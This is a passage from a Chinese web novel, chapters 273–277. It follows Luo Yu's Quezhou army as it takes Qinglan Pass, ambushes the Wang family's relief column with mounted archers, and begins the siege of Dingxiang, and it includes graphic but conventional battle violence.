尖锐的破风声瞬间划破云霄,在漆黑的夜空中绽放成一团绚丽的火光,随即便是战鼓声与嘶吼声在夜空中交织:
“阙州军,阙州军进来了!”
“迎战,快迎战啊!”
“咚咚咚!”
“杀啊!”
今夜的青岚关注定不再平静!
……
震天的喊杀声惊醒了无数军卒,更惊醒了睡梦中的宋骨。
他腾地一下就从床上跃起,身边躺着一名肤白貌美的青楼女子,春光乍现,只不过女子被外面的喊杀声吓得花容失色:
“将,将军,怎么了这是。”
“你在这待着,老子出去看看。”
宋骨心知不妙,急急忙忙地披上衣袍走了出去,将军府内已经乱成一团,卫兵们正在集结,人人神色慌乱。
“妈的,到底是怎么回事!”
宋骨怒喝一声:
“是不是有人袭击城防!”
“将,将军!”
副将连滚带爬地冲了过来:“阙州,阙州军入城了!”
“什么!”
宋骨的表情豁然大变,一手揪住了他的衣领,破口大骂:
“怎么可能,不是安排了数百守军值夜吗?为何城门这么快就被攻破了!一群废物!”
“先登营,是先登营!他们悄无声息地就爬上了城头,守军根本没有防备。”
副将哭丧着脸道:
“城门已经失守,大批骑军涌入城中,咱们的兵马根本就不是阙州军的对手,一触即溃,许多军卒当场就跪地投降了。”
宋骨蒙了,只觉得脑袋天旋地转,青岚关不是可以守三个月的吗?怎么三个时辰都没守住?
阙州军真的是神兵天降?勇不可当?
“将军,咱们该怎么办啊!”
副将急赤白脸地哀求道:
“实在不行就撤吧,先撤出去再说,青岚关肯定是守不住了。”
“可守不住也得守啊。”
宋骨进退两难:“一天就丢了青岚关,王家怎么会放过我们?”
“铛铛铛!”
“砰砰砰!”
还不等宋骨做出决定,门外就传来一阵急促的马蹄声,府内卫兵心知有敌来袭,嘶吼着冲了出去,转而便是哀嚎四起、鲜血飞溅。
刀光剑影之中,岳伍和许韦二人带着数百精兵强行冲入府内,刀锋上已然沾满血迹,目光第一时间就落在了宋骨身上,狞声怒喝:
“该死的叛徒,可还记得我们!”
宋骨眼眶一突,这不是追杀洛羽之时仅剩的活口吗?
“怎么,就凭你们这些人也想杀本将军?”
宋骨心中虽然慌乱,但嘴上一点也不服输,讥讽道:
“真当你阙州军天下无敌不成!”
“王家我们自会找他算账。”
岳伍满脸杀意:
“先拿你的人头,给死去的将士们报仇!”
“喝!”
岳伍如离弦之箭暴射而
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来,苍刀横握手中,雪亮刀光在夜色中划出一道弧线。
“受死吧!”
“本将军怕你不成!”
宋骨狞笑抽剑,剑锋贴着刀背逆流而上,直取岳伍咽喉。
“铛!”
一记对拼令二人同时**了一步,感受到剑锋传来的力道,宋骨不敢再轻视半分,岳伍的战力远超他的想象。
不等脚步站稳,岳伍再度挥刀而出:
“喝!”
这一刀几乎使出了浑身之力,岳伍的脑海中全是同袍战死的样子,漫天恨意全都化作刀锋上的力道,狠狠劈向宋骨的胸膛。
“铛!”
“噗嗤!”
宋骨愣是没接住这一刀,苍刀推着剑锋直接砸在了他的胸口,喉咙口一甜,血气在胸腔中翻滚。
就在宋骨踉跄后退的刹那,岳伍健步前冲、逼近身前,丝毫不给他还手的余地,刀锋从天而降:
“死吧!”
宋骨目露惊骇,忙不迭地抬剑一挡,可剑锋竟然被苍刀拦腰劈断,紧跟着刀锋顺着肩膀没入血肉,将宋骨的整条左肩卸了下来。
断臂落地,撕心裂肺的哀嚎声瞬间响彻:
“啊!”
全场敌军都愣住了,堂堂主将竟然被岳伍以摧枯拉朽的方式击败,简直骇人。
重伤倒地的宋骨浑身都在颤抖,鲜血横流,眼神一点点昏暗。临死前他有些后悔了,为何,为何要投靠王家?
岳伍缓缓提刀,冷声道:
“君公子让我带话,你满门老小,全都会下去陪你的。”
宋骨瞳孔皱缩:
“求……”
“噗嗤!”
刀锋滑过,人头落地。
……
被鲜血染红的“王”字军旗坠落城头,取而代之的是一面面“洛”字玄旗。
青岚关城门大开,数不清的披甲精骑横穿城内,并没有停留的意思,顺着官道疾驰出城,高举的火光宛如长龙,照亮夜空。
洛羽、萧少游、君墨竹三人登上城头,目送大军远行。
虎豹骑、曳落军、血归军、寒羽骑、阙州卫等等相继出城,茫茫黑甲、漫天玄旗,天地间仿佛都充斥着一股杀意。
蒙虎、曹殇、吕青云等一众悍将昂首挺胸,立于主帅身后。
整个阙州除了陆老将军驻守云阳关外,精锐尽出!
洛羽负手而立:
“各自的任务都清楚了吗?”
“轰!”
众将抱拳齐喝:
“清楚!”
“很好,出发吧。”
洛羽注目远望,嗓音冰冷:
“一个月内,我要横扫定州!”
第273章有伏兵我就吃马粪
这里是一片军营,数以千计的军卒正顶着炎炎烈日在操练,一面面“王”字军旗高举,无风的夏日,旗帜全都耷拉着脑袋,毫无精气。
王承虎,那日与宋骨一道伏击洛羽的王家将领就是此座军营的主将。
此地离青岚关也就八十里,足足驻扎着八千军卒,只不过有半数都是近期强抓来的新兵,还需要操练。
在王彦之的设想中,青岚关一线的几处隘口乃是阻拦洛家军的第一线,王承虎的八千兵马就是后援。如果青岚关遭到进攻,此地的八千兵马随时可以前出增援,确保边防固若金汤。
“一,二,三!”
“杀杀杀!”
“他娘的,没吃饭啊,都给我使点劲,挥刀!”
“尼玛得敢偷懒,老子打死你!”
骂骂咧咧的声音此起彼伏,一众都尉百户们拎着鞭子,看到不顺眼的新兵立马就是一顿胖揍,打得皮开肉绽。新兵们是叫苦连天,但又敢怒而不敢言。
王家可信不过定州这些兵,大部分军中将校都是从并州调过来的,两州合兵一处,不分定州并州,全都称之为王家军。
新兵们在操练,王承虎则十分惬意地躺在帐中,搂着两名青楼女子喜笑颜开:
“来,美人,再陪本将军喝一杯。”
“奴家可不敢再喝了。”
女子娇滴滴的一戳王承虎胸口:
“将军海量,奴家怎么能比?再喝下去可就要醉了。”
“嘿嘿,醉了好啊。”
王承虎淫笑一声:“本将军正好让你见识见识我的厉害。”
“将军的厉害早就见识过了,奴家可承受不住。”
“哈哈哈!”
王承虎仰天大笑,乐得合不拢嘴,自信心在此刻爆棚,单手扯开女子胸前的衣衫:
“来,本将军现在就让你感受一下!”
“将军你坏!”
“将军,将军!不好了!”
一名斥候突然连滚带爬地冲进帅帐,扑通往地上一跪:
“出事,出事了!”
青楼女子尖叫一声,慌慌张张地抓住衣袍捂住胸前的春光,可还是有一团高耸被斥候看个真切,又羞又怒。
好端端兴致突然被搅了,王承虎气得破口大骂:
“慌慌张张的成何体统,给我滚出去,没看本将军正忙着吗!”
“将,将军。”
斥候哆哆嗦嗦地说道:
“青岚关失守,阙州军入境了。”
“什么!”
王承虎蹭的一下站了起来,几乎不敢相信自己的耳朵:
“阙州军入境了?怎么可能,没听说青岚关有战事啊,敢谎报军情,老子砍了你!”
宋骨曾经信誓旦旦地跟他保证,就算阙州主动进攻,青岚关也能守住三个月,怎么一下子就丢了?
“千真万确。”
斥候哭丧着脸:“已经有溃兵逃回来了,小人亲眼见到黑甲骑兵正在急行军。”
“出事了。”
王承虎心头一颤,怒骂道:
“升帐议事,立刻!”
军中七八名武将闻讯而至,人人神色慌乱,好端端一座青岚关怎么说没就没了?
“将军,这下可怎么办啊。”
一名武将小心翼翼地说道:
“传闻阙州军骁勇善战,麾下骑兵能与羌骑正面野战,勇不可当,此地已经不安全了。要么,要么咱们先后撤吧,撤至城内固守。”
“放你娘的屁!”
王承虎怒目圆睁:
“仗还没打就想着后撤,本将要你何用!饭桶!再敢扰乱军心,本将先那你祭旗!”
偏将脖子一缩,再也不敢多说一个字。
王承虎这才走到地图旁,冷声道:
“据斥候探报,攻如青岚关的兵马不算多,也就万人上下,后续主力应该还没来得及入境。
万余前锋入境之后转道向北,一路直插,从行军路线上看他们应该是要进攻白杨县。”
“白杨县?那里可囤积着大批军粮啊,看来敌军是想断了咱们的粮草!”
众将心头一紧,整个前线守军的粮草都是从白杨县运出来的,白杨县一丢,此地八千军卒的口粮就没了。
“没错,所以白杨县决不能丢!”
王承虎环视全场:
“本将决意,全军出击,驰援白杨县!如果阙州军未到,我们就固守白杨县与其相持,等待援军;如果阙州军正在攻城,那咱们就从背后偷袭,大败敌军!”
众将面面相觑,怎么总觉得心里不安稳呢。
“瞧瞧你们的样子,一群孬种!”
王承虎十分不满:
“区区万余兵马罢了,又在青岚关激战一场,已经是疲惫之师,为何不敢与其一战?
养兵千日用兵一时,军人的血性呢!都是陇西男儿,难道咱们就比阙州军差吗!”
你别说,到底是王彦之用的人,激励军心确实有一套,几句话一骂,众将齐声怒喝:
“谨遵将军军令!”
“这才像样。”
王承虎朗声喝道:
“传令,全军出击,驰援白杨县!”
……
艳阳高悬,定州大地出现了一支狭长的行军队列,旌旗蔽野,一眼望不到头。
王承虎倾巢而出,将麾下八千军卒全都带出来了,少部分骑军,以步卒为主,还携带了大批弓弩和盾牌。他虽然性格暴躁,但是也懂兵,很清楚对付骑兵必须要靠这些军械。
一路上接连收到斥候探报,阙州军确实赶往了白杨县,已经在攻城了,不过城内守军奋起抵抗,攻城战陷入了僵持。
听到此消息的王承虎情绪亢奋,若是趁阙州军力竭之际从背后袭击,岂不是能将一场大胜轻而易举地收入囊中?
天赐良机啊!
“快,再快点!”
王承虎厉声喝道:
“行军速度再给我快,越早赶到白杨县我们的赢面就越大。”
在一声声催促之下,队伍行进的速度真快了起来,但阵型也越发松散,渐渐有首尾不相连的迹象。毕竟有不少新兵啊,哪能这么快就操练成步调一致的精锐。
“将军,如此行军怕是要出事啊。”
一名副将忧心忡忡:
“若是,若是半路遭遇伏击,咱们可就完了。”
“闭上你的乌鸦嘴,哪来的伏兵!”
王承虎瞪了他一眼:
“阙州军现在全在围攻白杨县,哪来的兵力伏击我们。机不可失,失不再来,兵贵神速的道理你不懂吗!”
“可……”
副将刚想说点什么,王承虎就给了他一个大嘴巴子:
“给老子闭嘴!畏畏缩缩、瞻前顾后,还有没有点军人的样子!”
“要是真有伏兵,老子就把地上这坨马粪吃了!”
“隆隆!”
骂声还未落下,远处就惊起一大片飞鸟,轰鸣声渐渐作响。
行进中的军卒全都停下了脚步,目光茫然,举头四顾,为何他们觉得脚下的地面在颤动呢?
“你们看,那是什么!”
王承虎循声望去,脸色瞬间煞白。
颤动的不止是地面沙粒,还有那坨马粪。
“轰隆隆!”
数以千计的雄壮大马陡然跃出地平线,马蹄声响彻云霄。
白甲白袍,白马白羽!
连天一色,蔚为壮观!
第274章盛夏时节天地寒
寒意。
盛夏时节,八千骑步军卒竟然有一种遍体生寒的感觉。
白甲茫茫、白袍翩翩,宛如大雪纷飞!
片刻的失神后,王承虎浑身一颤,声嘶力竭地吼道:
“全军备战,准备拒马!”
“快!拿起武器!迎战!”
副将两眼一翻,差点晕死过去。拒马?如此狭长、混乱的行军队列拒个屁的马!他恨不得抄起马粪拍在王承虎的脸上。
五千精骑宛如浪潮般前滚,余寒弓一马当先,朗声怒喝:
“寒羽骑!”
“嘶嘶嘶!”
密集的弓弦拉动声,沉闷又可怖。
五千寒羽精骑,人人弯弓如满月,箭矢冲天。
“放!”
“嗖嗖嗖!”
夹杂着雪白翎毛的箭矢腾空而起,宛如一场大雪降世,天地冰寒。
可还记得那首诗?
寒山城外寒风啸,寒风脚下寒羽惊!
漫天白羽出寒弓,大雪降世天地寒!
“嗤嗤嗤!”
在无数军卒骇然又绝望的目光中,漫天寒羽当头砸落、淹没人群,军阵中瞬间哀嚎四起,血花飞溅。
刚刚入伍的新兵们哪儿见过这个架势,个个吓得屁滚尿流,抱头鼠窜,哪儿还记得什么鼓点号令、结阵拒马。
“放!”
“嗖嗖嗖!”
一轮接着一轮,箭雨丝毫不停,寒羽骑出手岂会给你喘息之机?
而且寒羽骑所配轻弓皆由匠造司改良,射程远力道足,杀伤力极强,射得敌军人仰马翻。
人群中的王承虎拼了命挥动长枪,遮挡迎风落下的雪白箭矢,朝着副将怒吼:
“我带着骑兵先拦一拦,你组织步卒结阵!动作要快!”
“诺!”
“跟着本将军,杀!”
王承虎也算是有点本事,危局之下很快就想到了应对之法:
骑兵先行,为步卒结阵争取时间,如果寒羽骑冲入军阵,势必会是一场一面倒的屠杀。
“杀!”
“轰隆隆。”
不到两千骑兵,几乎都是从并州带过来的王家军,还算服从号令,随着王承虎冲了出去,只不过绝大部分军卒的脸上都写着慌乱与畏惧。
能不怕吗!
对面可是寒羽骑啊,曾经阵斩西羌万户!
“妈的,拼了!”
王承虎面目狰狞,已经做好了死拼的准备。
“嗖嗖嗖!”
可寒羽骑压根没有与他正面撞阵的打算,在放出两波箭雨之后,五千白甲骑兵突然从中间一分为二,五千精骑同时加速,骑阵如浪潮般分开。
这可是阙州速度最快的五千白马,几乎是瞬间与王家骑兵错身而过,然后迅速拉开距离。
王承虎愣愣地看着寒羽骑绝尘而去,然后排成两条狭长的骑阵,几乎与己方的步卒方阵平行。
“完了。”
王承虎面如死灰。
两翼的寒羽骑弯弓搭箭,朝着中央步阵不停地放箭,毫无防御手段的步卒刹那间陷入混乱,除了逃就是躲,根本没人想着迎敌。
不过你细看就会发现,寒羽骑并没有奔着杀人出手,绝大部分箭矢都落在军阵周围,单纯的是恐吓。
因为开战之前洛羽说过,陇西三州本是一家,再加上很多士卒都是王家强抓来的壮丁,尽量不要杀戮过重。
对于穷凶极恶之徒绝不手软,但对于无辜士卒能放过就放过。
“打,打不过,快跑啊!”
“快跑啊!”
“脑子坏了才跟洛家军打仗,兄弟们快跑啊!”
一名新兵丢下长矛,发疯似的往后逃,哭爹喊娘。
紧接着是第二个、第三个……
恐慌如瘟疫般蔓延,狭长的行军队列还没来得及结阵便土崩瓦解,这支仓促成军的队伍,终究在死亡面前现了原形。
什么王家君家洛家的,自己的小命最重要!
“妈的!不准跑!全军结阵迎敌”
王家副将气得破口大骂,手中长剑不停地挥舞:
“不准跑!谁再敢后撤一步,杀无赦!”
不管他如何呵斥都挡不住迅速蔓延的恐慌,气急败坏的他提起长剑就朝着附近一名新兵砍去:
“让你跑!”
剑锋高举,寒光毕露,新兵吓得愣在当场。
“嗖!”
眼瞅着剑锋即将落下,一支箭矢突然撕裂虚空,正中副将面门:
“噗嗤!”
鲜血喷射,脑浆飞溅,惨不忍睹。
不远处的寒羽骑副将万纲还保持着弯弓搭箭的姿势,不屑地撇了撇嘴:
“在本将军面前可没有你杀人的份!”
“将军,将军死了!”
“跑啊!”
副将毙命,仅存的士气彻底垮了,五六千步卒四散而逃,各奔活路。
这一幕让王承虎怒火攻心,跳脚大骂:
“该死的!不是说洛家军骑战无敌吗,有种与老子硬碰硬的打一场!”
余寒弓讥讽一笑:
“本将军成全你!”
“轰隆隆!”
五千精骑兵分三路,左右两翼依旧游离于战场之外,靠弓弩驱散步卒,正中央的两千骑紧随余寒弓身后,笔直前冲。
余寒弓怒喝一声:
“抽刀!”
“蹭蹭蹭!”
两千精骑弃弓换刀,一柄柄苍刀在手,全军上下杀气腾腾:
“杀!”
“砰砰砰!”
“嗤嗤嗤!”
两军凿阵,寒羽骑犹如一柄雪白的利刃,从当中瞬间撕裂了敌军锋线,一波波浪潮狠狠撞入敌阵。
苍刀出鞘,无数血花飞溅,摧枯拉朽般打垮了王家军,凄厉的哀嚎声回荡全场。
王承虎蒙了,怎么会,怎么会这么强!
这可是关外沙场磨炼出来的铁血悍卒,岂是你王家的乌合之众能比?
“狗贼,把命留在这里吧!”
余寒弓冰冷的嗓音响起,刀锋直朝他的咽喉劈来。
王承虎强忍住心中的不安,怒喝一声:
“怕你不成!”
“铛!”
长枪斜刺,狠狠与苍刀撞在一起,巨大的反震力让王承虎浑身一颤,枪杆差点脱手而出,目露震惊。
余寒弓不给他喘息之机,刀锋顺势上挑,一刀挑飞枪杆,而后猛然向下劈落,又狠又快。
一套连招让王承虎躲之不及,目光大骇,忙不迭地扭转身形。
“噗嗤!”
“啊!”
刀锋在他的左肩划过,血肉外翻,触目惊心。
王承虎脸色一白,再也不敢迎战,拼了命地扯动缰绳,往战场之外逃窜:
“拦住他,给我拦住他!”
身侧四五名亲卫一拥而上,拼了命地阻拦余寒弓,王承虎则一骑绝尘而去。
等余寒弓干脆利落地解决几名亲卫之后,王承虎已经逃出了老远。
“想逃?”
余寒弓弯弓搭箭,弓弦一松:
“嗖!”
箭矢在空中划出一道华丽的弧线,正中王承虎的后背。
“噗嗤!”
王承虎当场摔落马背,连滚带爬地飞出老远,一口鲜血狂喷而出。只觉得胸骨尽碎。
“不,我不想死!”
浑身血迹的王承虎无比不甘,手脚并用地往前爬,在地上拖出一道长长的血痕。
没爬出多远他就不动了,因为一匹战马拦在了前方。
王承虎绝望抬头,一支上弦的箭矢居高临下地对准了自己。
“死吧。”
“嗖!”
羽箭离弦,洞穿头颅!
雪白的翎毛被鲜血映红,余寒弓收弓挂马,面无表情的说道:
“放心,还会有无数王家人去陪你的。”
第275章八战八捷扫定州
大乾历,景丰十一年夏
阙州洛家军挥师出境,破青岚关、攻入定州,一战杀宋骨、二战杀王承虎。
各主力精骑兵分多路、攻取各城,半个月内八战八捷,横扫定州大半疆域,兵锋所指所向披靡,无人敢当阙州兵锋!
手握两州兵力的王家竟然被打成这样,令人大跌眼镜。
三州震动,陇西震动!
遥远的并州城
血色婚礼造成的阴霾似乎还笼罩在城池上空,城内百姓从那一夜开始便人心惶惶,再也不能安心的睡个好觉,鬼知道惊天之灾何时会降落在自己头上?
王家大宅,议事厅
王彦之端坐主位,麾下文武官吏分坐两侧,厅中的气氛很压抑,大家的脸色都不好看。
当初洛羽从并州城逃离时王彦之就有一种放虎归山的感觉,竭力派兵追杀,奈何还是被他一次又一次死里逃生。
王彦之在寒山关亲眼见识过阙州军的强悍,所以才没有立刻进攻阙州,而是选择了固守边防,尽可能地征募新兵,扩充军力,想要以兵多钱多的优势压垮洛羽。
没想到战端一开,半个月内定州都快丢光了,根本没有形成任何有效的抵抗。什么拖延时间,不存在的。
知道阙州军强,没想到这么强!
“大人。”
一名文吏小心翼翼地问道:
“眼下战局不利于我军啊,定州那边来信询问,该如何应对。”
“打不过就守,守城总会吧?”
王彦之面无表情地说道:
“阙州铁骑的威名人尽皆知,打不过我们还躲不起了?定襄城乃陇西出了名的坚城,粮草足备,城高墙坚,只要闭门不出,阙州的战马还能生出翅膀不成?
传信定州,将所有兵力收缩于定襄城,严防死守,守他个一年半载!
只要能守住,并州就能大肆扩军,待我军力充实之际再进攻阙州军!前后夹击,大败洛羽!”
“诺!”
王彦之看到众人情绪不振,竖起一根手指冷喝道:
“诸位,战端一开,我等便再无退路,只能携手向前,共败强敌!
放心,待陇西一统之日,在座的都是功臣,人人加官进爵!”
“谢大人!”
一众文臣武将鱼贯而出,只有一名中年男子留了下来。
王风赞,王家嫡系族人,王彦之的死忠,王家手握最高兵权的武将,论辈分应该算是王彦之的叔叔,也是此次血色婚礼的幕后操盘者之一。
“叔父,还有事吗?”
“阙州精骑骁勇善战,单靠定州军力恐怕无法应对。”
王风赞轻声道:
“顾剑不是还欠王家两个人情吗,要不命他率顾家骑兵前往定州,从背后捅洛羽一刀?哪怕打不赢,也能与阙州军拼个两败俱伤吧?”
“龙泉山的骑兵确实能打,可顾家军不是我们想动就能动的啊。”
王彦之轻叹一口气:
“顾剑有言在先,不太想掺和陇西内战,他的人情用一个就少一个,我是打算用在刀刃处的。”
王风赞顿了一下,苦笑道:
“那么多骑兵放着不用,着实可惜啊,若是能让顾家和洛羽举族死拼,对我们而言可是好事。”
“罢了,此事我再想想吧。”
王彦之轻声道:
“这几个月叔父先整合并州境内的兵马,趁着这个机会将并州不听话的人全都杀掉。操练新兵,积蓄实力,待时机成熟,我们再一举灭掉阙州军!”
“诺!”
王风赞缓步退出屋中,独剩王彦之一人斜靠椅背,眼眸中闪过一道寒光:
“顾剑,龙泉山。”
……
定襄城,将军府
一名身材魁梧的中年武将负手而立站在地图前,眉宇紧皱。
梁肃,曾经是君家最信任的外姓家臣,如今却率军反叛,倒向了王家。
“这一仗不好打啊。”
梁肃喃喃道:“这么快的时间就横扫定州半数疆域,阙州军之骁勇我算是见识到了。”
“怎么,梁兄怕了?”
边上有一名年轻男子微微一笑:“都说梁兄曾经率兵战于寒山关,力退羌人,是定州成名已久的悍将,总不至于怕洛羽这个后起之秀吧?”
王星,王风赞之子,并州派入定州的全部兵马皆由此人指挥。
别看他年纪轻轻,也是个狠角色,就是他率兵潜入定襄城,与梁肃里应外合,将君家满门杀得干干净净。
“倒不是怕,只是惊讶。”
梁肃微微摇头:“这么多年了,陇西竟然出了一支如此精锐,真是令人匪夷所思。”
“呵呵,精锐又如何?洛羽不也是惶惶如丧家之犬才逃回阙州吗?我们能打败他一次,就能打败他第二次!。”
王星冷声道:
“并州已经传信过来了,让我们先收缩兵力于定襄城,依靠高城坚墙与敌军对峙,耗也把他耗死!
只能坚守一段时间,并州就会尽起三军,前来增援。”
“眼下只能这么办了。”
梁肃反问一句:
“要守多久,并州才能派兵驰援?”
“三个月,三个月足矣!”
王星竖起三根手指:
“三个月后,我王家倾巢而出,与将军里应外合,灭阙州军于定襄城外!”
……
官道上有一支大军正在行进,旌旗蔽野、甲胄森然,骑步军卒混合,游弩手警戒四周,军威甚是严整。
洛羽和萧少游、君墨竹三人站在一旁的山坡上,目送大军远行。
萧少游沉声道:
“各军已经按计划攻破定州各城,大军所到之处很多人都是望风而降,兵不血刃,偶尔遇到反抗的也会被我军一战击溃。
梅雪崖那边也会陆续派遣官吏进入定州,恢复各城吏治。”
“很好。”
洛羽微微点头:
“只要放下兵器,我们可以不杀,愿意入军者择其青壮留之,余者遣散回乡。
至于定州政务,暂时就交给陆怀舟吧,跟在雪崖身边历练了这么久,也该到独当一面的时候了。”
“诺!”
其实对于大部分寻常军卒而言,根本不知道陇西怎么会突然之间乱成这样,都是稀里糊涂的被上峰指挥投入战斗。等阙州兵马一到,再加上以前君墨竹在家族的威望,大多士卒当然望风而降。
“接下来就是定襄城了啊。”
君墨竹注目远眺,就像是能看到百里之外的定州首府,拳头微微握紧:
“梁肃,这个该死的叛徒!”
梁肃手中的兵权远胜于宋骨,更是当初君天啸赖以信任的心腹,可就是这么一个人竟然在背叛时对君家下手最狠。
有时候君墨竹在想,当初自己应该插手兵权的,这样就不会让定州军内部发展到这一步。
君天啸看人的眼光确实是太差。
“放心吧,一定会给你报仇的机会。”
洛羽冷声道:
“传令三军,各自开拔,会师定襄城!”
第276章风起陇西
“呜!”
“呜呜!”
日初清晨,当盛夏的第一缕阳关倾洒在定襄城头时,嘹亮的号角声随之响彻云霄。
凄厉的号声中夹杂着杀意,云霄静默。城头布满了守军,人人神情紧张,持弓握枪,只因为城外出现了数以万计的黑甲军卒。
一座座骑步军阵泾渭分明,漫天飞舞的“洛”字玄旗令人望而生畏,各座方阵间隔数百大步将定襄城团团围住,还有传令兵往来游弋,号声不绝。步卒之后更是数以千计的披甲铁骑,一柄柄长矛弯刀在阳光的映衬下泛着寒光。
攻城车、投石车、强弩、床弩,各种攻城器械一应俱全,看得人头皮发麻。
定襄城攻防战,一触即发!
其实阙州军五天前就陆续在城外扎营,然后兵马越聚越多,将定襄城彻底围住。说是五万兵马出阙州,可攻入定州之后一路不停地吸纳降卒,现在到底有多少兵马连洛羽自己都不知道。
这几天虽未攻城,但阙州军也没闲着,每天都会向城内喊话,或者射入夹杂劝降信的羽箭,让城内将士放弃抵抗,引得城中人心惶惶。
“看这架势,今天是打算攻城了啊。”
茫茫黑甲令梁肃胸口发闷,目光前所未有的凝重:
“到底是攻下过云阳关与寒山关的劲旅,如此军威,陇西罕见。”
梁肃可不是靠着阿谀奉承爬上来的将军,而是正儿八经在边关厮杀过的,要不然也不会被君天啸看中,一路提拔,就连持节令君世雍也认为他是领兵之才,在定州军中的话语权极重,所以他只需要一眼就能分辨出精锐与乌合之众。
“确实是精锐,不可轻敌啊。”
此前一直轻视阙州军的王星也终于变得认真起来。
因为城外的洛家军让他感受到一种压抑、窒息感,他甚至觉得如果没有坚固的城墙,城内守军定会在阙州马蹄下灰飞烟灭。
两位主将都是如此,寻常军卒就更不用说了,只觉得喉咙口发紧,面对骁勇善战的洛家军,他们真的能活下来吗?
没有人去想怎么击败洛家军,他们最大的奢望就是守住定襄城,坚持到并州援军抵达。
“城中守军两万,粮草足够支用一年。”
梁肃盘算了一下:
“再强征一些民夫、衙役、捕快,坚守三个月应该不是问题。但三个月后并州的援兵不到,我和王兄就生死难料了啊。”
“放心吧梁兄。”
王星面无表情地说道:“你不想死在这,我更不想。”
“呜!”
“呜呜!”
又是一阵嘹亮的号角声,大军阵中有十余骑战马疾驰而出,飞奔城下,其中有一袭墨色长衫,分外引人注目。
君墨竹,君家仅剩的独子!
君墨竹策马城前,冷声怒喝:
“梁肃可在!”
梁肃面无表情地喝道:
“本将在此,君公子有何话说!”
君墨竹抬鞭轻指:
“你初入军伍时不过寻常一边军,一步步升任阙州参将,我君家待你不薄!为何叛我君家!”
“君公子这话就说得不对了,不是我梁肃背叛,是君家刺杀巡阅使上官熙,密谋造反,罪不容诛!本将乃弃暗投明,何来反叛一说?”
梁肃讥讽道:
“你们才是反贼!本将劝你们速速下马就擒!”
“好说辞啊,以前怎么没看出你有如此伶牙俐齿。”
君墨竹的眼眸中带着些许怒意:
“真相终究会大白于天下,你欠我君家的血债,早晚要还!”
两人你一言我一语地辩驳,王星却悄悄招来一名神箭手,暗中打了一个手势。
神箭手心领神会,鬼鬼祟祟的弯弓搭箭,顺势一松弓弦:
“嗖!”
箭矢撕裂虚空,直指君墨竹的胸口,快如迅雷,眼瞅着箭矢即将穿胸而过,护在君墨竹身侧的岳伍手起刀落,铛的一声将箭矢拦腰斩断,箭杆应声而落。
“唉。”
王星和神箭手同时叹了口气,功亏一篑。
“嗖!”
恰在此时,一道凌厉的破风声陡然在耳边炸响,神箭手浑身汗毛都竖了起来。
“嗤!”
没有任何反应的时间,夹杂着雪白翎毛的箭矢瞬间洞穿了他的头颅,脑浆飞溅,连一声惨叫都没发出就当场毙命。
王星瞳孔骤缩,好快的箭。
君墨竹身侧,余寒弓赫然在列,冷笑着弯弓搭箭:
“卑鄙小人,还敢放冷箭!再接本将一箭!”
“小心!”
梁肃的表情豁然大变,猛然将王星往边上一推,果然又是一支利箭飚射而来,刚好从他刚才站的地方穿过,狠狠钉在了背后的木墙上,高速摆动的雪白箭尾惊得王星直冒冷汗。
好险!
他第一次感觉到死神离自己这么近。
君墨竹遥指城头,冷喝道:
“城破之日,必须你二人狗命,祭奠我君家族人!”
“走!”
一语言罢,众人疾驰而去,唯有余寒弓一人一马独立城外,朗声怒喝:
“定州的将士们!陇西三州本为一体,大家同气连枝,都是同胞兄弟,洛将军不愿意看到你们被梁肃王家欺骗,枉死城头,希望你们能早早弃暗投明!”
“战端一开,降者可活,负隅顽抗者皆杀!”
“你们好自为之!”
朗喝声在缓缓回荡在每一名守军耳中,所有人都心惊胆战,目光犹疑。
真的能守住吗?
“全军听令!”
梁肃持刀而立,朗声高喝:
“洛家、君家刺杀巡阅使、密谋造反、大逆不道,人神共愤!战事一起,谁敢畏战不前,杀无赦!”
“轰!”
梁肃的喝声勉强稳住了军心,毕竟他带兵多年,军中不少中坚将校都是他的心腹。
“准备防守!”
两军对垒,杀气陡然升腾。
“咚,咚,咚!”
雷鸣般的战鼓声中,攻城大军缓缓布开阵型,先登营列阵于前,投石车稳居阵后,大型石块至于竹篓,随时会呼啸着砸向城头。
最引人注目的就是弓弩大阵了,近万军卒列阵以待,前排是单人轻弓、中间是脚踏弓、臂张弩,需要有两人合力施放;最后则是射程最远的床弩,长达一丈的大型弩箭锋芒毕露。
层层布阵,万弓待发!
这是自阙州成军以来第一次布开如此大型的弓弩阵,全都是匠造司最新打造的强弓硬弩,不管是射程还是力道,都远胜之前。
“好壮观啊。”
萧少游与君墨竹都很是震惊,就连他们也是第一次见到如此壮观的军阵。
“两位,该布置的都布置好了吗?”
两人齐齐躬身抱拳:
“一切就绪。”
“很好。”
洛羽微微点头,高居将台之上,朗声怒喝:
“将士们!”
“轰!”
全军齐行注目礼,挺胸抬头,士气鼎盛。
“都说定襄城城高墙坚,固若金汤,城内那些宵小指望能死守一年半载,拦住我阙州兵锋!
可我洛家铁骑的脚步,岂能被这群卑劣之徒拦住!”
洛羽环视全场:
“定襄攻城战,不会打上一年半载,一堆青石砖块罢了,更不可能拦住我军兵锋!
一战,今日一战我们就要拿下定襄城!收复定州全境!”
“轰!”
“杀,杀,杀!”
漫天嘶吼声回荡云霄,全军上下的士气在这一刻拔升到极致。
忽有一阵疾风起,吹散了空气中的燥热、沉闷,卷得军旗飘扬,烈烈作响。
洛羽拔刀冲前,怒声嘶吼:
“风起陇西!”
“开战!”
第277章震撼攻防
“弓弩营,放!”
洛羽苍刀一指,各阵传令兵狠狠挥动令旗:
“放箭!”
“嗡嗡!”
不是嗖嗖嗖,而是极度低沉压抑的嗡鸣声。
前排轻弓手率先松弦,箭雨如蝗,破空声尖锐刺耳;中阵脚踏弓随即发力,弓弦震颤如雷,箭矢裹挟着更强的力道冲天而起;最后方的床弩阵在同一时刻崩弦,丈余长的巨弩撕裂空气,发出骇人的呼啸,宛如黑龙掠空。
万箭齐发,遮天蔽日!
真正意义上的遮天蔽日,因为阙州军制式弓弩皆是黑羽翎毛,给人一种厚重压抑感,乌云蔽日。
刹那间,天地为之一暗。
城头守军目光惊骇,无数军卒都傻眼了,空中密集的雨幕让他们呆若木鸡,一瞬间都忘了自己该做什么。尚未回过神,便见黑压压的箭云已至头顶。
梁肃心头一颤,嘶声怒吼:
“防御啊,全军举盾!”
吼声总算叫醒了失神中的军卒,忙不迭地用盾牌遮挡身形,还有的缩在城垛背后。
箭雨轰然砸落!
“笃笃笃!”
“噔噔噔!”
箭矢钉入木盾的闷响连成一片,可仍有无数箭簇从缝隙中穿透,惨叫声顷刻炸开。
一名士卒死死握紧盾牌,却被一支床弩巨箭当胸贯穿,盾牌裂成一地的碎屑,整个人被带飞数步,重重钉在城楼木柱上,鲜血顺着箭杆汩汩而下;
